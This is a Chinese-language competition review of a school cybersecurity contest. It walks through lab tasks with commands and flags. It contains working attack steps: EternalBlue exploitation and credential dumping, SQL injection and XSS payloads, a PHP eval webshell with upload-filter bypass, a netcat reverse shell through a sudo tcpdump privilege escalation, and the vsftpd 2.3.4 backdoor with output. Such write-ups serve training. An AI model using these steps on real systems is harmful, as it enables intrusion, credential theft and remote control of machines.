上海市“星光计划”第十一届职业院校技能大赛 网络安全赛项(复盘)
前言
本次记录旨在回顾学习过程,总结经验,避免同样的错误再犯。
正如所言:
若留下探索,后人总结;
若留下经验,后人咀嚼;
若留下教训,后人借鉴;
若留下失误,后人避免。
成绩与反思:
本次比赛排名第四,获二等奖。主要失分在模块B(一分未得)。若“夺旗”部分的笑脸漏洞、Web渗透与Samba漏洞能成功利用,原本有机会冲上第三;而模块A若当时能及时问清题目要求和解题思路,也能多拿分。
核心教训:
有培训,一定要问清楚疑惑!
一定要问清楚疑惑!!
一定要问清楚疑惑!!!
问清楚比赛题目的解题思路和怎么做——其他无关紧要的事别问!浪费时间!
模块 A:安全事件响应、网络安全数据取证、应用安全、系统安全
任务一:漏洞扫描与利用(满分)
1.通过本地 PC 中渗透测试平台 Kali 对服务器场景进行系统服务及版本扫描渗透测试,并将该操作显示结果中 3389 端口对应的服务版本信息字符串作为 Flag值提交;
命令:nmap -sV 192.168.85.145
Flag:Microsoft Terminal Service

2.在 msfconsole 中用 search 命令搜索 MS12020 RDP 拒绝访问攻击模块,并将回显结果中的漏洞披露时间作为 Flag 值(如:2012-10-16)提交;
命令:search ms12-020
Flag:2012-03-16

3.在 msfconsole 中利用 MS12020 RDP 拒绝访问漏洞辅助扫描模块,将调用此模块的命令作为 Flag 值提交;
命令:use auxiliary/scanner/rdp/ms12_020_check
Flag:use auxiliary/scanner/rdp/ms12_020_check
4.在第 3 题的基础上查看需要设置的选项,并将回显中必须要设置的选项名作为Flag 值提交;
命令:options
Flag:RHOSTS

5.使用 set 命令设置目标 IP(在第 4 题的基础上),并检测漏洞是否存在,运行此模块将回显结果中最后一个单词作为 Flag 值提交;
命令:set rhosts 192.168.85.145 | run
Flag:vulnerable

6.在 msfconsole 中利用 MS12020 RDP 拒绝访问攻击模块,将调用此模块的命令作为 Flag 值提交;
命令:use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
Flag:use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
7.使用 set 命令设置目标 IP(在第 6 题的基础上),使用 MS12020 拒绝访问攻击模块,运行此模块将回显结果中倒数第一行的最后一个单词作为 Flag 值提交;
命令:sudo apt update && sudo apt upgrade metasploit-framework | set rhosts 192.168.85.145 | run
Flag:completed

8.进入靶机关闭远程桌面服务,再次运行 MS12020 拒绝访问攻击模块,运行此模块将回显结果中倒数第二行的最后一个单词作为 Flag 值提交。
命令:run
Flag:Unreachable

任务二:Windows 操作系统渗透测试(满分)
1.通过本地 PC 中渗透测试平台 Kali 对服务器场景进行系统服务及版本扫描渗透测试,并将该操作显示结果中 445 端口对应的服务版本信息字符串作为 Flag值提交;
命令:nmap -sV 192.168.85.145
Flag:Microsoft Windows Server 2008 R2 microsoft-ds (workgroup: WORKGROUP)
2.通过本地 PC 中渗透测试平台 Kali 对服务器场景进行渗透测试,将该场景网络连接信息中的 DNS 信息作为 Flag 值 (例如:114.114.114.114) 提交;
命令:(永恒之蓝)msfconsole
search ms17_010
use 0
set rhosts [IP]
run
Flag:114.114.114.114
3.通过本地 PC 中渗透测试平台 Kali 对服务器场景进行渗透测试,将该场景中的当前最高账户管理员的密码作为 Flag 值提交;
命令:(在上题的基础上) load kiwi | creds_all (前提:靶机需要登录过)
Flag:a1b2c33.

4.通过本地 PC 中渗透测试平台 Kali 对服务器场景进行渗透测试,将该场景桌面上 111 文件夹中唯一一个后缀为.docx 文件的文件名称作为 Flag 值提交;
命令:sudo apt-get install rdesktop | rdesktop 192.168.85.145
Flag:flag123456789

5.通过本地 PC 中渗透测试平台 Kali 对服务器场景进行渗透测试,将该场景桌面上 111 文件夹中唯一一个后缀为.docx 文件的文档内容作为 Flag 值提交;
命令:
Flag:846548795432

6.通过本地 PC 中渗透测试平台 Kali 对服务器场景进行渗透测试,将该场景桌面上 222 文件夹中唯一一个图片中的英文单词作为 Flag 值提交;
命令:
Flag:anonymous

任务三:网页绕过(满分)
1.在渗透机中访问主机地址 http://ip/1.php,将网页中 flag 信息作为 Flag 值提交;
Flag:5' or '5' = '5
2.在渗透机中访问主机地址 http://ip/2.php,将网页弹窗结果作为 Flag 值提交;
Flag:"><svg><SCRIPT>alert(1)</SCRIPT></svg>
3.在渗透机中访问主机地址 http://ip/3.php,将网页中 FLAG 信息作为 Flag 值提交;
制作一个GET传参木马!!!<?php @eval($_GET['cmd']); ?>
3.php修改文件后缀为3.png,这题的校验是在前端选择文件的时候就验证了的
打开burp后修改文件类型(Content - Type)text/plain
再修改文件后缀名jpg —> php
4.在渗透机中访问主机地址 http://ip/4.php,将网页中 flag 信息作为 Flag 值提交;
将上一题做的木马修改为4.php
burp抓包修改文件类型(Content - Type)image/jpeg 或者网页提示中判断部分的任意一种即可
5.在渗透机中访问主机地址 http://ip/5.php,将网页中 FLAG 信息作为 Flag 值提交;
http://[IP]/5.php?password=2555abc
6.在渗透机中访问主机地址 http://ip/6.php,将网页中 flag 信息作为 Flag 值提交。(这题要死记!!!)
http://[IP]/6.php?v1=QNKCDZO&v2=240610708&v3[]=1
答案:
v1=QNKCDZO&v2=240610708&v3[]=1
(这题要死记!!!) (这题要死记!!!) (这题要死记!!!)
(这题要死记!!!) (这题要死记!!!) (这题要死记!!!)
(这题要死记!!!) (这题要死记!!!) (这题要死记!!!)
任务四:跨站脚本渗透(满分)
1.访问服务器网站目录 1,根据页面信息完成条件,将获取到弹框信息作为 Flag提交;
控制台输入 alert(1) (万能钥匙!!!)
2.访问服务器网站目录 2,根据页面信息完成条件,将获取到弹框信息作为 Flag提交;
3.访问服务器网站目录 3,根据页面信息完成条件,将获取到弹框信息作为 Flag提交;
4.访问服务器网站目录 4,根据页面信息完成条件,将获取到弹框信息作为 Flag提交;
5.访问服务器网站目录 5,根据页面信息完成条件,将获取到弹框信息作为 Flag提交;
6.访问服务器网站目录 6,根据页面信息完成条件,将获取到弹框信息作为 Flag提交;
任务五:内存取证(满分)
1.在服务器中下载内存片段,在内存片段中获取主机信息,将管理员密码作为Flag 值提交;
ftp [IP]
get [文件]
volatility -f [文件] --profile=[系统] hashdump
#内容复制下来放在新创建的文本文件中
john [密码文件] --format=NT
#如果不显示密码或者报错,试着找一下john.pot文件然后删除,这是个缓存文件,可以放心删除2.在内存片段中获取主机信息,将此片段的地址作为 Flag 值提交;
volatility -f [文件] --profile=[系统] netscan3.在内存片段中获取主机信息,将此片段的主机名作为 Flag 值提交;
Volatility -f [文件] --profile=Win7SP1x64 hivelist
volatility -f [文件] --profile=Win7SP1x64 h-o [Virtual值] printkey -K "ControlSet001\Control\ComputerName\ComputerName"4.在内存片段中获取主机信息,将挖矿程序的地址及端口号作为 Flag 值提交;(若为多个用;分开)
volatility -f [文件] --profile=[系统] netscan
#------------------------------------------
#在 Volatility 的 netstat 输出中,唯一可疑进程是 EasyMiner.exe(PID 1376)——典型的挖矿客户端。
#它曾与两台外网主机建立 TCP 会话(现已 CLOSED),对应的“地址:端口”如下:
#89.42.218.88:80
#178.239.166.249:6667
#题目要求提交“挖矿程序的地址及端口号”,如有多项需分隔,因此正确 flag 应写成:
#89.42.218.88:80;178.239.166.249:6667
#------------------------------------------
flag:89.42.218.88:80;178.239.166.249:66675.在内存片段中获取主机信息,将后台恶意程序所用的程序名称作为 Flag 值提交;
volatility -f [文件] --profile=[系统] netscan6.在内存片段中获取主机信息,将此时的浏览器搜寻的关键词作为 Flag 值提交。
volatility -f [文件] --profile=[系统] iehistory任务六:Linux 操作系统渗透测试(重点!!!如果有培训一定要问!!!)
如果有培训一定要问的:
通过什么渗透进服务器是web漏洞还是操作系统漏洞?
自己做环境渗透学习!!!
1.通过本地PC中渗透测试平台Kali对服务器场景Linux进行系统 服务及版本扫描渗透测试,并将该操作显示结果中MySQL数据库对应的服务版本信息字符串作为Flag提交;
2.通过本地PC中渗透测试平台Kali对服务器场景Linux进行渗透 测试,将该场景/var/www/html目录中唯一一个后缀为.html文件的文件名称作为Flag提交;
3.通过本地PC中渗透测试平台Kali对服务器场景Linux进行渗透 测试,将该场景/var/www/html目录中唯一一个后缀为.html文件的文件内容作为Flag提交;
4.通过本地PC中渗透测试平台Kali对服务器场景Linux进行渗透 测试,将该场景/root目录中唯一一个后缀为.bmp文件的文件名称作为Flag提交;
5.通过本地PC中渗透测试平台Kali对服务器场景Linux进行渗透 测试,将该场景/root目录中唯一一个后缀为.bmp的图片文件中的英文单词作为Flag提交。
任务七:Web 信息泄露及渗透(重点!!!如果有培训一定要问!!!)
如果有培训一定要问的:
比赛时流量分析是有现有文件分析还是现场抓包分析?
MySQL配置泄露可能会在哪里?
1.通过本地PC中渗透测试平台kali2.0对服务器场景进行渗透测试,将该场景中WordPress的版本号(例如:2.2.3)作为Flag值提交;
2.服务器场景的网站存在隐藏登录入口,通过流量分析找出管理员登录的URL路径,将完整URL路径作为Flag值提交(IP固定为192.168.111.201);
3.使用流量分析工具获取管理员登录请求中的用户名和密码,将用户名和密码作为Flag值(如:admin:123456)提交;
4.服务器场景的MySQL服务存在配置泄露,提交数据库配置文件中的密码作为Flag值;
5.利用sudo权限漏洞通过tcpdump提权,提交提权成功后将输出结果的第一行作为Flag值;
#kali
nc -lvnp 2025
echo "nc [Kali IP] 2025 -e /bin/bash"> /tmp/shell.sh #在/tmp目录下写入shell.sh脚本
chmod +x /tmp/shell.sh #添加执行权限
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
6.服务器场景用户的密码信息可以通过漏洞得到,计算root用户密码位于/etc/shadow中的加密字段信息最后6位(字母小写,不含特殊符号)的SHA-1哈希值作为Flag值;(假设最后6位为123456,示例计算:echo -n "123456" | sha1sum)
7.服务器场景的/root目录中存在一个加密文件secret_flag.bin,其中包含一段经过编码的字符串。请通过提权获取root权限后,解码该文件内容并提交最后8位明文作为Flag。
base64 -d /root/secret_flag.bin
任务八:Python 模块利用(重点!!!如果有培训一定要问!!!)
如果有培训一定要问的:
通过什么渗透进服务器是web漏洞还是操作系统漏洞?
如果不进入服务器你后面的小题什么都做不了!
通过本地 PC 中渗透测试平台 Kali 对服务器场景进行脚本扫描渗透测试,并将该操作显示结果中 80端口对应服务版本字符串作为 Flag 值提交(如:Weblogic 8.3.6);
根据扫描得到的信息,请将 tomcat 版本信息作为 Flag 值提交;
找到网站根路径下的唯一的压缩包文件,并将压缩包的解压密码作为 Flag 提交;
找出 tomcat 后台的用户名和密码,并将 tomcat 后台的密码作为 Flag 值提交;
使用 john 工具破解服务器中除 root 以外的用户密码,并将破解出的用户名及密码的作为 Flag 值提交(用户名和密码之间使用英文冒号分割,多个用户之间用分号隔开,如:qwe:123;john:456);
找到服务器场景中能够实现提权的模块,将该模块的绝对路径作为 Flag 值提交(绝对路径包括模块自身的名称);
找出 /root 路径下的唯一的 txt 文本,将该文件的内容作为 Flag 值提交;
任务九:Ubuntu 高级漏洞利用与提权攻防(重点!!!如果有培训一定要问!!!)
如果有培训一定要问的:
这个看情况问!!!
通过本地PC中渗透测试平台kali2.0对服务器场景进行端口扫描,将发现开放的非标准HTTP服务端口及服务版本(格式:端口号/服务/版本)作为Flag值提交;
通过本地PC中渗透测试平台kali2.0对服务器场景进行Nmap脚本扫描,发现靶机HTTP服务支持危险方法,提交允许上传文件的HTTP方法及测试路径(格式:方法+/path);
通过上传WebShell反弹Shell后,发现防火墙限制端口,将用于绕过限制的监听端口号作为Flag值提交;
服务器场景存在计划任务提权漏洞,将漏洞关联的软件名称及CVE编号(格式:软件-CVE-XXXX-XXXX)作为Flag值;
服务器场景存在计划任务提权漏洞,利用漏洞进行提权,通过写入 /etc/sudoers赋予当前用户root权限,将触发漏洞的恶意脚本路径及写入的内容(格式:路径:命令)作为Flag值提交;
服务器场景的/root目录中存在文件hidden_flag.txt,最终获取root权限后,提交靶机/root目录中的唯一后缀txt文件内容作为Flag值。
任务十:Web 安全应用(满分)
1.使用渗透机Kali Linux,登录靶机HTTP服务后台管理页面,并将后台管理页面代码中的Flag值提交。
http://[IP]/admin访问后开启burp抓包拦截,输入用户admin 密码admin,拦到包后添加参数X-Forwarded-For:127.0.0.1 放包后查看源代码即可
2.使用渗透机Kali Linux,访问靶机HTTP服务,使用文本反馈功能上传PHP一句话木马(shell.php),并将上传后提示页面中唯一 一行JavaScript代码作为Flag值提交。
制作一个GET传参木马!!!<?php @eval($_GET['cmd']); ?>
上传时burp抓包修改文件类型(Content - Type)text/plain
Flag:window.open('upload/shell.php');
3.使用渗透机Kali Linux,访问靶机HTTP服务,通过一句话木马获取靶机C盘根目录下flag.txt中的内容,并将获取文件内容的函数作为Hlag值提交。
查看目录下有什么?cmd=system("dir c:\\");
Flag:file_get_contents
4.使用渗透机Kali Linux,访问靶机HTTP服务,通过一句话木马获取靶机C盘根目录下flag.txt中的内容,并将文本中的内容作为Flag值提交。
?cmd=echo file_get_contents("C:/flag.txt");
Flag:hel10wOrld
5.使用渗透机Kali Linux ,访问靶机HTTP服务,通过一句话木马找到C盘根目录下的唯一一个PNG文件,并提交图片源文件的Flag值
?cmd=echo file_get_contents("C:/geforce0.png");
Flag:Ia98a8fA9
任务十一:木马逆向分析(不做,短时间学不会)
1.分析桌面上的恶意木马压缩文件,找出木马调用的dll文件名称,并将调用的dll文件名作为Flag值提交(Flag排序按照首英文首字母的顺序,多个dll之间以英文逗号隔开);
2.分析第一个dll文件,找出恶意文件为防止程序多开创建的函数,并将该函数名称作为Flag值提交;
3.分析第一个dll文件,找出该代码构造出的可执行文件,并将可执行文件的名称作为Flag值提交;
4.分析第二个dll文件,找出它最终跳转的有效dll,并将该dll作为Flag值提交;
5.分析恶意木马文件,找出木马运行后调用的四个可执行文件,并将调用的exe文件名作为Flag值提交(Flag排序按照首英文首字母的顺序,多个exe之间以英文逗号隔开);
6.分析恶意木马文件,找出木马运行后对键盘活动进行记录后存储的文件,并存储键盘记录文件的绝对路径作为Flag值提交;
7.分析第三个dll文件,找出恶意DLL装载病毒的函数位置,并将函数位置作为Flag值提交(例如:sub_10010010,sub_10010020);
模块 B:夺旗挑战
靶机漏洞:
如果有培训一定要问的:
夺旗部分有什么漏洞?
是攻防还是纯夺旗?
有哪些漏洞?(问到了就抓紧学抓紧背!!!)
一定要去学扫描靶机(建议等2分钟,因为比赛靶机是一批一批启动的)!!!团队赛要学要分工怎么分开扫描!高效率!!!
samba (记不清有没有了)
VsFTP(许多靶机都有此漏洞很好拿分,一定要会)
#kali IP:192.168.10.222
#MSF2 IP:192.168.10.20
#kali
nmap 192.168.10.20 #使用nmap工具扫描192.168.10.20主机
---------------------
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-08 21:12 EST
Nmap scan report for 192.168.10.20 #192.168.10.20的扫描报告
Host is up (0.0019s latency). #主机已开启
Not shown: 977 closed tcp ports (reset) #未显示:977 个关闭的 TCP 端口(重置)
PORT STATE SERVICE #端口 状态 服务
21/tcp open ftp #这个是我们需要攻击的vsftp 2.3.4服务
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajp13
8180/tcp open unknown
MAC Address: 00:0C:29:02:5C:4B (VMware) #MAC地址:00:0C:29:02:5C:4B(VMware)
Nmap scan report for 192.168.10.222 #这些是kali自己的,都已忽略
Host is up (0.0000040s latency).
All 1000 scanned ports on 192.168.10.222 are in ignored states.
Not shown: 1000 closed tcp ports (reset)
Nmap done: 256 IP addresses (2 hosts up) scanned in 6.79 seconds
--------------------
#再打开一个终端
nc 192.168.10.20 21 #使用nc(瑞士军刀)连接21端口
-------------------
220 (vsFTPd 2.3.4) #连接至服务器
user a:) #提供用户名
331 Please specify the password. #表示它已经接受了用户名,并要求指定密码
pass 123456 #提供密码
-------------------
#切回刚刚扫描的终端
nmap -p 6200 192.168.10.20 #使用nmap工具扫描192.168.10.20主机的6200端口
-------------------
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-08 21:21 EST
Nmap scan report for 192.168.10.20 #192.168.10.20的扫描报告
Host is up (0.00026s latency). #主机已开启
PORT STATE SERVICE #端口 状态 服务
6200/tcp open lm-x #这个是我们刚刚nc瑞士小军刀划开的端口
MAC Address: 00:0C:29:02:5C:4B (VMware) #MAC地址:00:0C:29:02:5C:4B(VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.35 seconds
-------------------
nc 192.168.10.20 6200 #使用nc(瑞士军刀)连接6200端口
whoami #询问当前用户是谁
root
###################
如果连不上,看看之前 nc 192.168.10.20 21 这个命令的终端
如果最后一行出现 421 Timeout. 表示连接已超时
重新打一遍 nc 192.168.10.20 21 http(没环境不做攻略)
模块C:展示讲解
穿着统一服装!!!别穿有校徽的校服!!!
其实我觉得演讲稿内容有些跳脱,衔接有些问题,写的时候一定要多注意!!!